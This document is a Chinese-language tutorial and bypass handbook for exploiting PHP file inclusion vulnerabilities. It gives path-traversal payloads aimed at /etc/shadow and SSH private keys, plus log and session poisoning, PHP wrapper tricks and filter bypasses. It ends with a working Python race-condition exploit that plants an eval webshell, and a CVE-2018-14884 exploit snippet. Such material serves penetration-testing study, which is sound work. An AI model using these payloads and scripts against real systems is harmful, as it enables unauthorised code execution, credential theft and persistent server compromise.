檔案包含
參考資料:
檔案包含漏洞簡介
利用phpinfo條件競爭
PHP檔案包含漏洞利用思路與Bypass總結手冊
1. 概述
什麼是檔案包含:檔案包含函式所載入的引數沒有經過過濾或者嚴格的定義,可以被使用者控制,包含其他檔案或惡意程式碼,導致資訊洩露或程式碼注入。
要求:包含的檔案路徑攻擊者可控,被包含的檔案web伺服器可訪問。
1.1 常見的引發漏洞的函式:
include()
執行到include
時才包含檔案,檔案不存在時提出警告,但是繼續執行。require()
只要程式執行就會包含檔案,檔案不存在產生致命錯誤,並停止指令碼。include_once()
和require_once()
只執行一次,如果一個檔案已經被包含,則這兩個函式不會再去包含(即使檔案中間被修改過)。
當利用這四個函式來包含檔案時,不管檔案是什麼型別(圖片、txt等等),其中的文字內容都會直接作為php程式碼進行解析。
1.2 利用條件
-
包含函式通過動態變數的方式引入需要包含的引數。
-
PHP中只要檔案內容符合PHP語法規範,不管是什麼字尾,都會被解析。
1.3 分類和利用思路
檔案包含通常按照包含檔案的位置分為兩類:本地檔案包含(LFI)和遠端檔案包含(RFI),顧名思義,本地檔案包含就是指包含本地伺服器上儲存的一些檔案;遠端檔案包含則是指被包含的檔案不儲存在本地。
本地檔案包含
- 包含本地檔案、執行程式碼
- 配合檔案上傳,執行惡意指令碼
- 讀取本地檔案
- 通過包含日誌的方式GetShell
- 通過包含
/proc/self/envion
檔案GetShell - 通過偽協議執行惡意指令碼
- 通過
phpinfo
頁面包含臨時檔案
遠端檔案包含
- 直接執行遠端指令碼(在本地執行)
遠端檔案包含需要在
php.ini
中進行配置,才可開啟:
allow_url_fopen = On
:本選項啟用了 URL 風格的 fopen 封裝協議,使得可以訪問 URL 物件檔案。預設的封裝協議提供用 ftp 和 http 協議來訪問遠端檔案,一些擴充套件庫例如 zlib 可能會註冊更多的封裝協議。(出於安全性考慮,此選項只能在 php.ini 中設定。)
allow_url_include = On
:此選項允許將具有URL形式的fopen包裝器與以下功能一起使用:include,include_once,require,require_once。(該功能要求allow_url_fopen
開啟)
2. 利用方法
2.1 配合檔案解析漏洞來包含
http://target.com/?page=../../upload/123.jpg/.php
2.2 讀取系統敏感檔案(路徑遍歷)
include.php?file=../../../../../../../etc/passwd
Windows:
C:\boot.ini //檢視系統版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置檔案
C:\Windows\repair\sam //儲存系統初次安裝的密碼
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置資訊
C:\Windows\my.ini //Mysql配置資訊
Linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(檔案識別符號)
/proc/mounts
/porc/config.gz
2.3 包含http日誌檔案
通過包含日誌檔案,來執行夾雜在URL請求或者User-Agent
頭中的惡意指令碼
-
通過讀取配置檔案確定日誌檔案地址
預設地址通常為:
/var/log/httpd/access_log
或/var/log/apache2/access.log
-
請求時直接在URL後面加上指令碼即可
http://www.target.com/index.php<?php phpinfo();?>
,之後去包含這個日誌檔案即可。 -
注意:日誌檔案會記錄最為原始的URL請求,在瀏覽器位址列中輸入的地址會被URL編碼,通過CURl或者Burp改包繞過編碼。
apache+Linux 日誌預設路徑
/etc/httpd/logs/access_log
/var/log/httpd/access_log
xmapp日誌預設路徑
D:/xampp/apache/logs/access.log
D:/xampp/apache/logs/error.log
IIS預設日誌檔案
C:/WINDOWS/system32/Logfiles
%SystemDrive%/inetpub/logs/LogFiles
nginx
/usr/local/nginx/logs
/opt/nginx/logs/access.log
通過包含環境變數/proc/slef/enversion
來執行惡意指令碼,修改HTTP請求的User-Agent
報頭,但是沒復現成功 ?
2.4 包含SSH日誌
和包含HTTP日誌類似,登入使用者的使用者名稱會被記錄在日誌中,如果可以讀取到ssh日誌檔案,則可以利用惡意使用者名稱注入php程式碼。
SSH登入日誌常見儲存位置:/var/log/auth.log
或/var/log/secure
2.5 使用PHP偽協議
PHP內建了很多URL 風格的封裝協議,除了用於檔案包含,還可以用於很多檔案操作函式。在phpinfo的Registered PHP Streams
中可以找到目前環境下可用的協議。
file:// — 訪問本地檔案系統
http:// — 訪問 HTTP(s) 網址
ftp:// — 訪問 FTP(s) URLs
php:// — 訪問各個輸入/輸出流(I/O streams
zlib:// — 壓縮流
data:// — 資料(RFC 2397)
glob:// — 查詢匹配的檔案路徑模式
phar:// — PHP 壓縮檔案
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音訊流
expect:// — 處理互動式的流
-
file://
訪問本地檔案系統http://target.com/?page=file://D:/www/page.txt
,正反斜線都行(windows),對於共享檔案伺服器可以使用\\smbserver\share\path\to\winfile.ext
。 -
php://input
訪問輸入輸出流:?page=php://input
,在POST內容中輸入想要執行的指令碼。 -
php://filter
:是一種元封裝器, 設計用於資料流開啟時的篩選過濾應用。全部可用過濾器列表:https://www.php.net/manual/zh/filters.php
通常利用該偽協議來讀取php原始碼,通過設定編碼方式(以base64編碼為例),可以防止讀取的內容被當做php程式碼解析,利用方式(就是read寫不寫的區別):
index.php?file=php://filter/read=convert.base64-encode/resource=index.php index.php?file=php://filter/convert.base64-encode/resource=index.php
-
data://
資料流封裝:?page=data://text/plain,指令碼
zip://
壓縮流:建立惡意程式碼檔案,新增到壓縮資料夾,上傳,無視字尾。通過?page=zip://絕對路徑%23檔名
訪問,5.2.9之前是隻能絕對路徑。
備註:
-
檔案需要絕對路徑才能訪問
-
需要通過
#
(也就是URL中的%23
)來指定程式碼檔案 -
compress.bzip2://
和compress.zlib://
壓縮流,與zip類似,但是支援相對路徑,無視字尾bzip
和gzip
是對單個檔案進行壓縮(不要糾結要不要指定壓縮包內的檔案?)?file=compress.bzip2://路徑 ?file=compress.zlib://路徑
-
phar://
支援zip、phar格式的壓縮(歸檔)檔案,無視字尾(也就是說jpg字尾照樣給你解開來),?file=phar://壓縮包路徑/壓縮包內檔名
,絕對路徑和相對路徑都行。利用方法:
index.php?file=phar://test.zip/test.txt index.php?file=phar://test.xxx/test.txt
製作phar檔案(php5.3之後):
- 設定
php.ini
中phar.readonly=off
- 製作生成指令碼
<?php @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //設定stub $phar->addFromString("test.txt", "<?php phpinfo();?>"); //新增要壓縮的檔案及內容 $phar->stopBuffering(); //簽名自動計算 ?> // 這個指令碼需要使用php.exe 來生成
-
生成指令碼2
<?php $p = new PharData(dirname(__FILE__).'./test.123', 0,'test',Phar::ZIP); $p->addFromString('test.txt', '<?php phpinfo();?>'); ?> //這個指令碼可以通過訪問來觸發,在本地生成一個test.123,但是不能生成字尾為phar的檔案(其他的都行,甚至是php)
- 設定
2.6 配合phpinfo頁面包含臨時檔案
向phpinfo頁面上傳檔案的時候,phpinfo會返回臨時檔案的儲存路徑
臨時檔案存活時間很短,當連線結束後,臨時檔案就會消失。條件競爭
只要傳送足夠多的的資料,讓頁面還未反應過來的時候去包含檔案,即可。
-
傳送包含了webshell的上傳資料包給phpinfo頁面,這個資料包的header、get等位置需要塞滿垃圾資料
-
因為phpinfo頁面會將所有資料都列印出來,1中的垃圾資料會將整個phpinfo頁面撐得非常大
-
php預設的輸出緩衝區大小為4096,可以理解為php每次返回4096個位元組給socket連線
-
所以,我們直接操作原生socket,每次讀取4096個位元組。只要讀取到的字元裡包含臨時檔名,就立即傳送第二個資料包
-
此時,第一個資料包的socket連線實際上還沒結束,因為php還在繼續每次輸出4096個位元組,所以臨時檔案此時還沒有刪除
-
利用這個時間差,第二個資料包,也就是檔案包含漏洞的利用,即可成功包含臨時檔案,最終getshell
利用指令碼exp
2.7 包含Session
-
PHP將使用者Session以檔案的形式儲存在主機中,通過
php.ini
檔案中的session.save_path
欄位可以設定具體的儲存位置,通過phpinfo頁面也可以查詢到;檔案命名格式為:sess_<PHPSESSID>
,其中PHPSESSID
為使用者cookie中PHPSESSID對應的值;Session檔案一些可能的儲存路徑:/var/lib/php/sess_PHPSESSID /var/lib/php/sessions/sess_PHPSESSID /tmp/sess_PHPSESSID /tmp/sessions/sess_PHPSESSID
-
Session檔案內容有兩種記錄格式:php、php_serialize,通過修改
php.ini
檔案中session.serialize_handler
欄位來進行設定。以php格式記錄時,檔案內容中以
|
來進行分割:以php_serialize格式記錄時,將會話內容以序列化形式儲存:
-
如果儲存的session檔案中字串可控,那麼就可以構造惡意的字串觸發檔案包含。
先構造一個含有惡意字串的session檔案:
?user=test&cmd=<?php phpinfo();?>
,之後包含這個會話的session檔案。
2.9 包含環境變數
CGI****利用條件:1231、php以cgi方式執行,這樣environ才會儲存UA頭。``2、environ檔案儲存位置已知,且environ檔案可讀。
利用姿勢:proc/self/environ中會儲存user-agent頭。如果在user-agent中插入php程式碼,則php程式碼會被寫入到environ中。之後再包含它,即可。
3. 繞過技巧
3.1 限制路徑路徑
伺服器限制了訪問檔案的路徑,例如在變數前面追加'/var/www/html'
限制只能包含web目錄下的檔案,可以利用路徑穿越進行對抗。
../../../../../../../ect/passwd
對於輸入有過濾的情況,可以嘗試用URL編碼進行轉換,比如%2e%2e%2f
,甚至是二次轉換。
3.2 限制字尾
對使用者輸入新增字尾,比如:自動新增.jgp
字尾、或者期望使用者輸如一個父目錄,伺服器自動拼接上子目錄和檔案。
-
如果是遠端檔案包含的話可以利用URL的特性:
?
、#
構造出類似於
http://test.com/evil.php?/static/test.php
和http://test.com/evil.php#/static/test.php
的包含路徑,使得伺服器預設的字尾變成URL的引數或者頁面錨點。 -
利用壓縮協議:構建一個壓縮包歸檔檔案,裡面包含上伺服器加的字尾,這樣完整的路徑將指向壓縮包內檔案。
比如壓縮包中檔案為
test.zip->test->defautl->test.php
,構造url:include.php?file=phar://test.zip/test
,服務端拼接後變成include('phar://test.zip/test/defautl/test.php')
-
利用超長字串進行截斷,在php<5.2.8的版本可以設定一個超級長的路徑,超過的部分將被伺服器丟棄。
win最長為256位元組、Linux為4096位元組,構造
include.php?file=./././././(n多個)././test.php
-
利用00截斷:php<5.3.4時可用
%00
對字串進行截斷,%00
被是識別為字串終止標記。
3.3 allow_url_include = off
利用SMB、webdav等使用UNC路徑的檔案共享進行繞過。
- 利用SMB(只對Win的web伺服器有效):構建SMB伺服器後,構造URL:
?include.php?file=\\172.16.97.128\test.php
- 利用WebDAV:構造連線
?include.php?file=//172.16.97.128/webdav/test.php
3.4 Base64 處理的session檔案
為了保護使用者的資訊或儲存更多格式的資訊,很多時候都會對Session檔案進行編碼,以Base64編碼為例,闡述繞過思路。瞭解服務端使用的編碼模式以及對應的解碼模式;合理安排payload使其滿足解碼條件,只要不干擾php程式碼執行就可以。
-
根據上邊介紹的偽協議的用法,可以知道使用
index.php?file=php://filter/read=convert.base64-decode/resource=index.php
即可對base64編碼的檔案進行解碼,但是直接解碼session檔案時會出現亂碼。其原因在於session文件中包含的並非全部都是base64編碼的內容,session開頭的user|s:24:
字串也被當做base64進行解碼,從而導致出現亂碼的情況,因此如果能忽略前面的字元,就可以完美解碼了。 -
有利條件:PHP在進行base64解碼的時候並不會去處理非Base64編碼字符集的內容,直接忽略過去並拼接之後的內容。也就是說,Session檔案中的
:
、|
、{}
、;
、"
這類字元對Base64解碼沒有影響。 -
Base64解碼過程簡單來說就是:將字串按照每4個字元分為一組,解碼為二進位制資料流再拼接到一起,因此要保證我們可以將payload正確解出,需要將編碼後的payload其實位置控制在
4n+1
的位置(第5、9、13...位)。(base64編碼後長度為原資料長度的4/3) -
user:|s:24:"
有效字元有7個,若要將payload置於第9位,則需要再增加一個字元,簡單有效的辦法就是讓24
變成一個三位數——填充無效資料擴充payload長度。 -
serialize模式同理,session檔案中
a:1:{s:4:"user";s:24:"
共11個干擾字元,因此同樣只需將payload產生的字串長度增加到三位數即可。
3.5 自己構造Session
有的網站可能不提供使用者會話記錄,但是預設的配置可以讓我們自己構造出一個Session檔案。相關的選項如下:
session.use_strict_mode = 0
,允許使用者自定義Session_ID,也就是說可以通過在Cookie中設定PHPSESSID=xxx
將session檔名定義為sess_xxx
session.upload_progress.enabled = on
,PHP可以在每個檔案上傳時監視上傳進度。session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
,當一個上傳在處理中,同時POST一個與INI中設定的session.upload_progress.name
同名變數時,上傳進度可以在$_SESSION
中獲得。 當PHP檢測到這種POST請求時,它會在$_SESSION
中新增一組資料, 索引是session.upload_progress.prefix
與session.upload_progress.name
連線在一起的值。
利用思路:
-
上傳一個檔案
-
上傳時設定一個自定義
PHPSESSID
cookie -
POST
PHP_SESSION_UPLOAD_PROGRESS
惡意欄位:"PHP_SESSION_UPLOAD_PROGRESS":'<?php phpinfo();?>'
這樣就會在Session目錄下生成一個包含惡意程式碼的session檔案。
-
但是php預設設定中會開啟
session.upload_progress.cleanup = on
,也就是當檔案上傳完成後會自動刪除session檔案,使用條件競爭繞過,惡意程式碼功能設定為生成一個shell.php。
利用exp:
import io
import sys
import requests
import threading
sessid = 'test'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://127.0.0.1/index.php',
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[test])?>');?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)
def READ(session):
while True:
response = session.get(f'http://127.0.0.1/include.php?file=D:\\phpstudy_pro\\Extensions\\tmp\\tmp\\sess_{sessid}')
# print('[+++]retry')
# print(response.text)
if 'PHP Version' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)
3.6 CVE-2018-14884
CVE-2018-14884會造成php7出現段錯誤,從而導致垃圾回收機制失效,POST的檔案會保留在系統快取目錄下而不會被清除。
影響版本:
PHP Group PHP 7.0.*,<7.0.27
PHP Group PHP 7.1.*,<7.1.13
PHP Group PHP 7.2.*,<7.2.1
windows 臨時檔案:C:\windows\php<隨機字元>.tmp
linux臨時檔案:/tmp/php<隨機字元>
-
漏洞驗證
include.php?file=php://filter/string.strip_tags/resource=index.php
返回500錯誤 -
post惡意字串
import requests files = { 'file': '<?php phpinfo();' } url = 'http://127.0.0.1/include.php?file=php://filter/string.strip_tags/resource=index.php' r = requests.post(url=url, files=files, allow_redirects=False)
-
在臨時檔案中可以看到惡意程式碼成功寫入
-
至於包含嘛,爆破或者其他手段探測這個臨時檔案吧。